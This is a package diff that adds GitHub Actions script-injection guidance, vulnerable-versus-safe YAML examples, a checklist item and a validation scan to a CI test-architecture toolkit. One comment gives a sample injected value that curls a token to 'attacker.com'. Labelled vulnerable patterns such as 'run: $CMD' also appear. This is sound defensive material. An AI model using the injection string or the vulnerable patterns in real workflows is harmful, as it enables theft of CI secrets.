bmad-method-test-architecture-enterprise 1.4.1 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/release_notes.md +7 -5
- package/src/testarch/knowledge/ci-burn-in.md +42 -0
- package/src/workflows/testarch/ci/checklist.md +1 -0
- package/src/workflows/testarch/ci/github-actions-template.yaml +118 -0
- package/src/workflows/testarch/ci/steps-c/step-02-generate-pipeline.md +38 -0
- package/src/workflows/testarch/ci/steps-c/step-03-configure-quality-gates.md +23 -0
- package/src/workflows/testarch/ci/steps-v/step-01-validate.md +14 -0
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"$schema": "https://json.schemastore.org/package.json",
|
|
3
3
|
"name": "bmad-method-test-architecture-enterprise",
|
|
4
|
-
"version": "1.
|
|
4
|
+
"version": "1.5.0",
|
|
5
5
|
"description": "Master Test Architect for quality strategy, test automation, and release gates",
|
|
6
6
|
"keywords": [
|
|
7
7
|
"bmad",
|
package/release_notes.md
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
|
-
## 🚀 What's New in v1.
|
|
1
|
+
## 🚀 What's New in v1.5.0
|
|
2
|
+
|
|
3
|
+
### ✨ New Features
|
|
4
|
+
- feat: harden generated ci related yml
|
|
2
5
|
|
|
3
6
|
### 📦 Other Changes
|
|
4
|
-
-
|
|
5
|
-
-
|
|
6
|
-
- Merge pull request #48 from bmad-code-org/docs/workers-subagents-agent-teams
|
|
7
|
+
- addressed PR comments
|
|
8
|
+
- Merge pull request #49 from bmad-code-org/feat/harden-generated-ci-related-yml
|
|
7
9
|
|
|
8
10
|
|
|
9
11
|
## 📦 Installation
|
|
@@ -13,4 +15,4 @@ npx bmad-method install
|
|
|
13
15
|
# Select "Test Architect" from module menu
|
|
14
16
|
```
|
|
15
17
|
|
|
16
|
-
**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.4.
|
|
18
|
+
**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.4.1...v1.5.0
|
|
@@ -8,6 +8,48 @@ CI pipelines must execute tests reliably, quickly, and provide clear feedback. B
|
|
|
8
8
|
|
|
9
9
|
CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
|
|
10
10
|
|
|
11
|
+
## Security: Script Injection Prevention
|
|
12
|
+
|
|
13
|
+
**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
|
|
14
|
+
|
|
15
|
+
When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
|
|
16
|
+
|
|
17
|
+
### Vulnerable vs Safe Pattern
|
|
18
|
+
|
|
19
|
+
```yaml
|
|
20
|
+
# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
|
|
21
|
+
- name: Run tests
|
|
22
|
+
run: |
|
|
23
|
+
npx playwright test --grep "${{ inputs.test_ids }}"
|
|
24
|
+
|
|
25
|
+
# ✅ SAFE — env var cannot break out of shell quoting
|
|
26
|
+
- name: Run tests
|
|
27
|
+
env:
|
|
28
|
+
TEST_IDS: ${{ inputs.test_ids }}
|
|
29
|
+
run: |
|
|
30
|
+
npx playwright test --grep "$TEST_IDS"
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### Unsafe Contexts (require env: intermediary)
|
|
34
|
+
|
|
35
|
+
- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
|
|
36
|
+
- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
|
|
37
|
+
- `${{ github.head_ref }}` — PR source branch name (user-controlled)
|
|
38
|
+
|
|
39
|
+
**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
|
|
40
|
+
|
|
41
|
+
### Safe Contexts (safe from GitHub expression injection in run: blocks)
|
|
42
|
+
|
|
43
|
+
- `${{ steps.*.outputs.* }}` — pre-computed by your own code
|
|
44
|
+
- `${{ matrix.* }}` — defined in workflow YAML
|
|
45
|
+
- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
|
|
46
|
+
- `${{ secrets.* }}` — secret store, not user-injectable
|
|
47
|
+
- `${{ env.* }}` — already an env var
|
|
48
|
+
|
|
49
|
+
> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
11
53
|
## Pattern Examples
|
|
12
54
|
|
|
13
55
|
### Example 1: GitHub Actions Workflow with Parallel Execution
|
|
@@ -161,6 +161,7 @@ Note: CI setup is typically a one-time task per repo and can be run any time aft
|
|
|
161
161
|
- [ ] Environment variables for sensitive data
|
|
162
162
|
- [ ] Artifact retention appropriate (not too long)
|
|
163
163
|
- [ ] No debug output exposing secrets
|
|
164
|
+
- [ ] **MUST**: No `${{ inputs.* }}` or user-controlled GitHub context (`github.event.pull_request.title`, `github.event.issue.body`, `github.event.comment.body`, `github.head_ref`) directly in `run:` blocks — all passed through `env:` intermediaries and referenced as `"$ENV_VAR"`
|
|
164
165
|
|
|
165
166
|
## Integration Points
|
|
166
167
|
|
|
@@ -208,3 +208,121 @@ jobs:
|
|
|
208
208
|
if [ "${{ needs.burn-in.result }}" == "failure" ]; then
|
|
209
209
|
echo "⚠️ **Flaky tests detected** - Review burn-in artifacts" >> $GITHUB_STEP_SUMMARY
|
|
210
210
|
fi
|
|
211
|
+
|
|
212
|
+
# ============================================================================
|
|
213
|
+
# EXTENSION PATTERNS — Script Injection Prevention
|
|
214
|
+
# ============================================================================
|
|
215
|
+
# When extending this template into reusable workflows, manual dispatch
|
|
216
|
+
# workflows, or composite actions, NEVER use ${{ inputs.* }} directly in
|
|
217
|
+
# run: blocks. Always pass through env: intermediaries.
|
|
218
|
+
#
|
|
219
|
+
# KEY PRINCIPLE: Inputs must be DATA, not COMMANDS.
|
|
220
|
+
# Pass inputs through env: and interpolate as quoted arguments into fixed
|
|
221
|
+
# commands. NEVER accept command-shaped inputs (e.g., install-command,
|
|
222
|
+
# test-command) that get executed as shell code — even through env:.
|
|
223
|
+
#
|
|
224
|
+
# --- Reusable Workflow (workflow_call) ---
|
|
225
|
+
#
|
|
226
|
+
# on:
|
|
227
|
+
# workflow_call:
|
|
228
|
+
# inputs:
|
|
229
|
+
# test-grep:
|
|
230
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
231
|
+
# type: string
|
|
232
|
+
# required: false
|
|
233
|
+
# default: ''
|
|
234
|
+
# base-ref:
|
|
235
|
+
# description: 'Base branch for diff'
|
|
236
|
+
# type: string
|
|
237
|
+
# required: false
|
|
238
|
+
# default: 'main'
|
|
239
|
+
# burn-in-count:
|
|
240
|
+
# description: 'Number of burn-in iterations'
|
|
241
|
+
# type: string
|
|
242
|
+
# required: false
|
|
243
|
+
# default: '10'
|
|
244
|
+
#
|
|
245
|
+
# jobs:
|
|
246
|
+
# test:
|
|
247
|
+
# runs-on: ubuntu-latest
|
|
248
|
+
# steps:
|
|
249
|
+
# - uses: actions/checkout@v4
|
|
250
|
+
# # Fixed command — not derived from inputs
|
|
251
|
+
# - name: Install dependencies
|
|
252
|
+
# run: npm ci
|
|
253
|
+
# # ✅ SAFE — input is DATA passed as an argument to a fixed command
|
|
254
|
+
# - name: Run tests
|
|
255
|
+
# env:
|
|
256
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
257
|
+
# run: |
|
|
258
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
259
|
+
# if [ -n "$TEST_GREP" ]; then
|
|
260
|
+
# npx playwright test --grep "$TEST_GREP"
|
|
261
|
+
# else
|
|
262
|
+
# npx playwright test
|
|
263
|
+
# fi
|
|
264
|
+
#
|
|
265
|
+
# --- Manual Dispatch (workflow_dispatch) ---
|
|
266
|
+
#
|
|
267
|
+
# on:
|
|
268
|
+
# workflow_dispatch:
|
|
269
|
+
# inputs:
|
|
270
|
+
# test-grep:
|
|
271
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
272
|
+
# type: string
|
|
273
|
+
# required: false
|
|
274
|
+
# environment:
|
|
275
|
+
# description: 'Target environment'
|
|
276
|
+
# type: choice
|
|
277
|
+
# options: [staging, production]
|
|
278
|
+
#
|
|
279
|
+
# jobs:
|
|
280
|
+
# run-tests:
|
|
281
|
+
# runs-on: ubuntu-latest
|
|
282
|
+
# steps:
|
|
283
|
+
# - uses: actions/checkout@v4
|
|
284
|
+
# # ✅ SAFE — input is DATA interpolated into a fixed command
|
|
285
|
+
# - name: Run selected tests
|
|
286
|
+
# env:
|
|
287
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
288
|
+
# run: |
|
|
289
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
290
|
+
# npx playwright test --grep "$TEST_GREP"
|
|
291
|
+
#
|
|
292
|
+
# --- Composite Action (action.yml) ---
|
|
293
|
+
#
|
|
294
|
+
# inputs:
|
|
295
|
+
# test-grep:
|
|
296
|
+
# description: 'Test grep filter (data only — not a command)'
|
|
297
|
+
# required: false
|
|
298
|
+
# default: ''
|
|
299
|
+
# burn-in-count:
|
|
300
|
+
# description: 'Number of burn-in iterations'
|
|
301
|
+
# required: false
|
|
302
|
+
# default: '10'
|
|
303
|
+
#
|
|
304
|
+
# runs:
|
|
305
|
+
# using: composite
|
|
306
|
+
# steps:
|
|
307
|
+
# # ✅ SAFE — inputs are DATA arguments to fixed commands
|
|
308
|
+
# - name: Run burn-in
|
|
309
|
+
# shell: bash
|
|
310
|
+
# env:
|
|
311
|
+
# TEST_GREP: ${{ inputs.test-grep }}
|
|
312
|
+
# BURN_IN_COUNT: ${{ inputs.burn-in-count }}
|
|
313
|
+
# run: |
|
|
314
|
+
# # Security: inputs passed through env: to prevent script injection
|
|
315
|
+
# for i in $(seq 1 "$BURN_IN_COUNT"); do
|
|
316
|
+
# echo "Burn-in iteration $i/$BURN_IN_COUNT"
|
|
317
|
+
# npx playwright test --grep "$TEST_GREP" || exit 1
|
|
318
|
+
# done
|
|
319
|
+
#
|
|
320
|
+
# ❌ NEVER DO THIS:
|
|
321
|
+
# # Direct ${{ inputs.* }} in run: — GitHub expression injection
|
|
322
|
+
# - run: npx playwright test --grep "${{ inputs.test-grep }}"
|
|
323
|
+
#
|
|
324
|
+
# # Executing input-derived env var as a command — still command injection
|
|
325
|
+
# - env:
|
|
326
|
+
# CMD: ${{ inputs.test-command }}
|
|
327
|
+
# run: $CMD
|
|
328
|
+
# ============================================================================
|
|
@@ -119,6 +119,44 @@ Use templates from `{installed_path}` when available. Adapt the template to the
|
|
|
119
119
|
|
|
120
120
|
---
|
|
121
121
|
|
|
122
|
+
## Security: Script Injection Prevention
|
|
123
|
+
|
|
124
|
+
> **CRITICAL:** Treat `${{ inputs.* }}` and the entire `${{ github.event.* }}` namespace as unsafe by default. ALWAYS route them through `env:` intermediaries and reference as double-quoted `"$ENV_VAR"` in `run:` blocks. NEVER interpolate them directly.
|
|
125
|
+
|
|
126
|
+
When the generated pipeline is extended into reusable workflows (`on: workflow_call`), manual dispatch (`on: workflow_dispatch`), or composite actions, these values become user-controllable and can inject arbitrary shell commands.
|
|
127
|
+
|
|
128
|
+
**Two rules for generated `run:` blocks:**
|
|
129
|
+
|
|
130
|
+
1. **No direct interpolation** — pass unsafe contexts through `env:`, reference as `"$ENV_VAR"`
|
|
131
|
+
2. **Inputs must be DATA, not COMMANDS** — never accept command-shaped inputs (e.g., `inputs.install-command`) that get executed as shell code. Even through `env:`, running `$CMD` where CMD comes from an input is still command injection. Use fixed commands and pass inputs only as arguments.
|
|
132
|
+
|
|
133
|
+
```yaml
|
|
134
|
+
# ✅ SAFE — input is DATA interpolated into a fixed command
|
|
135
|
+
- name: Run tests
|
|
136
|
+
env:
|
|
137
|
+
TEST_GREP: ${{ inputs.test-grep }}
|
|
138
|
+
run: |
|
|
139
|
+
# Security: inputs passed through env: to prevent script injection
|
|
140
|
+
npx playwright test --grep "$TEST_GREP"
|
|
141
|
+
|
|
142
|
+
# ❌ NEVER — direct GitHub expression injection
|
|
143
|
+
- name: Run tests
|
|
144
|
+
run: |
|
|
145
|
+
npx playwright test --grep "${{ inputs.test-grep }}"
|
|
146
|
+
|
|
147
|
+
# ❌ NEVER — executing input-derived env var as a command
|
|
148
|
+
- name: Install
|
|
149
|
+
env:
|
|
150
|
+
CMD: ${{ inputs.install-command }}
|
|
151
|
+
run: $CMD
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
Include a `# Security: inputs passed through env: to prevent script injection` comment in generated YAML wherever this pattern is applied.
|
|
155
|
+
|
|
156
|
+
**Safe contexts** (do NOT need `env:` intermediaries): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}`.
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
122
160
|
## 2. Pipeline Stages
|
|
123
161
|
|
|
124
162
|
Include stages:
|
|
@@ -48,6 +48,29 @@ Use `{knowledgeIndex}` to load `ci-burn-in.md` guidance:
|
|
|
48
48
|
- **Frontend or Fullstack** (`test_stack_type` is `frontend` or `fullstack`): Enable burn-in by default. Burn-in targets UI flakiness (race conditions, selector instability, timing issues).
|
|
49
49
|
- **Backend only** (`test_stack_type` is `backend`): Skip burn-in by default. Backend tests (unit, integration, API) are deterministic and rarely exhibit UI-related flakiness. If the user explicitly requests burn-in for backend, honor that override.
|
|
50
50
|
|
|
51
|
+
**Security: Script injection prevention for reusable burn-in workflows:**
|
|
52
|
+
|
|
53
|
+
When burn-in is extracted into a reusable workflow (`on: workflow_call`), all `${{ inputs.* }}` values MUST be passed through `env:` intermediaries and referenced as quoted `"$ENV_VAR"`. Never interpolate them directly.
|
|
54
|
+
|
|
55
|
+
**Inputs must be DATA, not COMMANDS.** Do not accept command-shaped inputs (e.g., `inputs.install-command`, `inputs.test-command`) that get executed as shell code — even through `env:`, running `$CMD` is still command injection. Use fixed commands (e.g., `npm ci`, `npx playwright test`) and pass inputs only as data arguments.
|
|
56
|
+
|
|
57
|
+
```yaml
|
|
58
|
+
# ✅ SAFE — fixed commands with data-only inputs
|
|
59
|
+
- name: Install dependencies
|
|
60
|
+
run: npm ci
|
|
61
|
+
- name: Run burn-in loop
|
|
62
|
+
env:
|
|
63
|
+
TEST_GREP: ${{ inputs.test-grep }}
|
|
64
|
+
BURN_IN_COUNT: ${{ inputs.burn-in-count }}
|
|
65
|
+
BASE_REF: ${{ inputs.base-ref }}
|
|
66
|
+
run: |
|
|
67
|
+
# Security: inputs passed through env: to prevent script injection
|
|
68
|
+
for i in $(seq 1 "$BURN_IN_COUNT"); do
|
|
69
|
+
echo "Burn-in iteration $i/$BURN_IN_COUNT"
|
|
70
|
+
npx playwright test --grep "$TEST_GREP" || exit 1
|
|
71
|
+
done
|
|
72
|
+
```
|
|
73
|
+
|
|
51
74
|
---
|
|
52
75
|
|
|
53
76
|
## 2. Quality Gates
|
|
@@ -50,6 +50,20 @@ Read `{validationChecklist}` and list all criteria.
|
|
|
50
50
|
|
|
51
51
|
Evaluate outputs against each checklist item.
|
|
52
52
|
|
|
53
|
+
### 2a. Script Injection Scan
|
|
54
|
+
|
|
55
|
+
Scan all generated YAML workflow files for unsafe interpolation patterns inside `run:` blocks.
|
|
56
|
+
|
|
57
|
+
**Unsafe patterns to flag (FAIL):**
|
|
58
|
+
|
|
59
|
+
- `${{ inputs.* }}` — all workflow inputs are user-controllable
|
|
60
|
+
- `${{ github.event.* }}` — treat the entire event namespace as unsafe by default (includes PR titles, issue bodies, comment bodies, label names, etc.)
|
|
61
|
+
- `${{ github.head_ref }}` — PR source branch name (user-controlled)
|
|
62
|
+
|
|
63
|
+
**Detection method:** For each `run:` block in generated YAML, check if any of the above expressions appears in the run script body. If found, flag as **FAIL** with the exact line and recommend converting to the safe `env:` intermediary pattern (pass through `env:`, reference as double-quoted `"$ENV_VAR"`).
|
|
64
|
+
|
|
65
|
+
**Safe patterns to ignore** (exempt from flagging): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}` — these are safe from GitHub expression injection when used in `run:` blocks.
|
|
66
|
+
|
|
53
67
|
### 3. Write Report
|
|
54
68
|
|
|
55
69
|
Write a validation report to `{outputFile}` with PASS/WARN/FAIL per section.
|